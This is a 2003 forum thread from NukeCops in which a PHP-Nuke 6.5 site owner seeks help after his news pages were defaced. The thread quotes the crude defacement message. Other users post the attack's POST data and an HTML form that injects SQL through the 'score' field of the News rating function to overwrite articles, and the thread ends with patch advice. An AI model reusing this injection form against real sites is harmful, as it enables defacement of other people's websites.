You are missing our premiere tool bar navigation system! Register and use it for FREE!

NukeCops  
•  Home •  Downloads •  Gallery •  Your Account •  Forums • 
Readme First
- Readme First! -

Read and follow the rules, otherwise your posts will be closed
Modules
· Home
· FAQ
· Buy a Theme
· Advertising
· AvantGo
· Bookmarks
· Columbia
· Community
· Donations
· Downloads
· Feedback
· Forums
· PHP-Nuke HOWTO
· Private Messages
· Search
· Statistics
· Stories Archive
· Submit News
· Surveys
· Theme Gallery
· Top
· Topics
· Your Account
Who's Online
There are currently, 64 guest(s) and 1 member(s) that are online.

You are Anonymous user. You can register for free by clicking here
Nuke Cops :: View topic - Hacked, please help... [ ]
 Forum FAQ  •  Search  •   •  Memberlist  •  Usergroups   •  Register  •  Profile •    •  Log in to check your private messages  •  Log in

 
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
Author Message
KaTXi
Nuke Soldier
Nuke Soldier


Joined: Jul 02, 2003
Posts: 13


PostPosted: Wed Jul 02, 2003 10:57 am Reply with quoteBack to top

Hi guys...
I have a phpNuke 6.5 (with sec fix 3) and i've been hacked...
It seems that all the script kiddies have done is change all the news in my home page with this text:

H A C K E D!! BY - [ LunixO ]- --------------------- !Hi! --------------------- Testing your security system....0k --------------------- Hey admin!! Your security has broken by me. (SORRY!!) but you must parch your system. Admin you need any class of security on the computers... ---------------------------------------- Bi0s FucKed!! K hax0r k erz. Fillo d´ PutA!! Bi0s sorry because your mother suck me dick destrangis in the night. Bi0´s use ./xploit... lamah kaka. --------------------------- Greetz: Maure, MoOn, supn0rmal, arrow_maki, etc...-Wink ---------------------------------------- I Love This Game -[No.LImIts]- ------------------------------ The Hack is p0waH -[Free Your Mind]- --------------------------------------

After searching here in nukecops i've found a post the recomends this in /modules/News/index.php:
if ($score != 1 AND $score != 2 AND $score != 3 AND $score != 4 AND $score != 5) {
Header("Location: index.php");
die();
}

Is that enought to stop this little lamer ???
BTW: I had the lattest analyze.php and everything was (and is) ok...
BTW2: they used this URL:
http://www.rzw.com.ar/xploit_nuke.php?target=h....
Find all posts by KaTXiView user's profileSend private message
KaTXi
Nuke Soldier
Nuke Soldier


Joined: Jul 02, 2003
Posts: 13


PostPosted: Wed Jul 02, 2003 11:49 am Reply with quoteBack to top

I've found a fix here:
http://www.frog-man.org/tutos/PHP-Nuke-News.txt

But i can no longer have html on my news Sad
Any help?
Find all posts by KaTXiView user's profileSend private message
Evcz
Nuke Soldier
Nuke Soldier


Joined: Jun 21, 2003
Posts: 26

Location: Italy

PostPosted: Wed Jul 02, 2003 12:10 pm Reply with quoteBack to top

i think that the problem is the score...

in fact their script send this date to your site (modules.php)

Code:
getArray ( ) postArray ( [name] => News [op] => rate_article [sid] => 5 [score] => 1, title=char(112,114,111,118,97), hometext=char(99,111,114,116,111), bodytext=char(108,117,110,103,111) [submit] => Cambiar la Noticia )


here is the form that contact your site:
Code:
<form method="POST" action="http://hostmaster.altervista.org/modules.php">
<input type="hidden" name="name" value="News">
<input type="hidden" name="op" value="rate_article">
<input type="hidden" name="sid" value="5">
<input type="hidden" name="score" value="1, title=char(80,114,111,118,97), hometext=char(99,111,114,116,111), bodytext=char(108,117,110,103,111)">
<input type="submit" name="submit" value="Cambiar la Noticia">
</form>

byez

If sameone now how to fix it... say something Wink
Find all posts by EvczView user's profileSend private messageVisit poster's website
luchtzak
Support Mod
Support Mod


Joined: Mar 19, 2003
Posts: 308


PostPosted: Wed Jul 02, 2003 12:30 pm Reply with quoteBack to top

Please download the security-fix 3 for phpnuke 6.5 in the downloads-area and do what they say! You will need to change the modules/news/index.php file as well as the mainfile.php !

ciao,

Bart

_________________
Luchtzak Aviation - Snookerforum Belgium
Find all posts by luchtzakView user's profileSend private messageVisit poster's website
KaTXi
Nuke Soldier
Nuke Soldier


Joined: Jul 02, 2003
Posts: 13


PostPosted: Wed Jul 02, 2003 12:31 pm Reply with quoteBack to top

I've fixed it, it's on the URL i posted on the second post, but now my mainfile.php removes all < > | and ) characters, so i cannot post anything with HTML becouse this chars are replaced by HTML codes.
Any other fix before i make a script that search and replaces all that codes???
Find all posts by KaTXiView user's profileSend private message
luchtzak
Support Mod
Support Mod


Joined: Mar 19, 2003
Posts: 308


PostPosted: Wed Jul 02, 2003 12:34 pm Reply with quoteBack to top

Djee KaTXi !!

check http://nukecops.com/postp25982.html#25982

with a solution!

_________________
Luchtzak Aviation - Snookerforum Belgium
Find all posts by luchtzakView user's profileSend private messageVisit poster's website
sixonetonoffun
Major
Major


Joined: Jan 13, 2003
Posts: 892


PostPosted: Wed Jul 02, 2003 12:36 pm Reply with quoteBack to top

Use the fixes suggested frogmans patch was just that (a bandaid) not a fix for the specific vulnerability.
Find all posts by sixonetonoffunView user's profileSend private message
KaTXi
Nuke Soldier
Nuke Soldier


Joined: Jul 02, 2003
Posts: 13


PostPosted: Wed Jul 02, 2003 1:52 pm Reply with quoteBack to top

Thanks, it's fixed on Sec fix 4, not 3, but it works.
Thanks a lot guys, you were a great help.

BTW: Every one update NOW. Hacking your home is way easy if you are not fixed.
Find all posts by KaTXiView user's profileSend private message
KaTXi
Nuke Soldier
Nuke Soldier


Joined: Jul 02, 2003
Posts: 13


PostPosted: Wed Jul 02, 2003 10:36 pm Reply with quoteBack to top

Another tip for guys that want to upgrade to secfix 4:
Everything works great but search.php and viewtopic.php , which are broken, just follow fixchanges.txt for this two files.

More info here:
http://www.nukecops.com/postlite4995-search.html+php+viewtopics+php
Find all posts by KaTXiView user's profileSend private message
Display posts from previous:      
Post new topic  Reply to topicprinter-friendly view
View previous topic Log in to check your private messages View next topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum



Powered by phpBB © 2001, 2005 phpBB Group

Ported by Nuke Cops © 2003 www.nukecops.com
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::
Powered by · TOGETHER TEAM srl ITALY http://www.togetherteam.it · DONDELEO E-COMMERCE http://www.DonDeLeo.com
Web site engine's code is Copyright © 2002 by PHP-Nuke. All Rights Reserved. PHP-Nuke is Free Software released under the GNU/GPL license.
Page Generation: 0.345 Seconds - 295 pages served in past 5 minutes. Nuke Cops Founded by Paul Laudanski (Zhen-Xjell)
:: FI Theme :: PHP-Nuke theme by coldblooded (www.nukemods.com) ::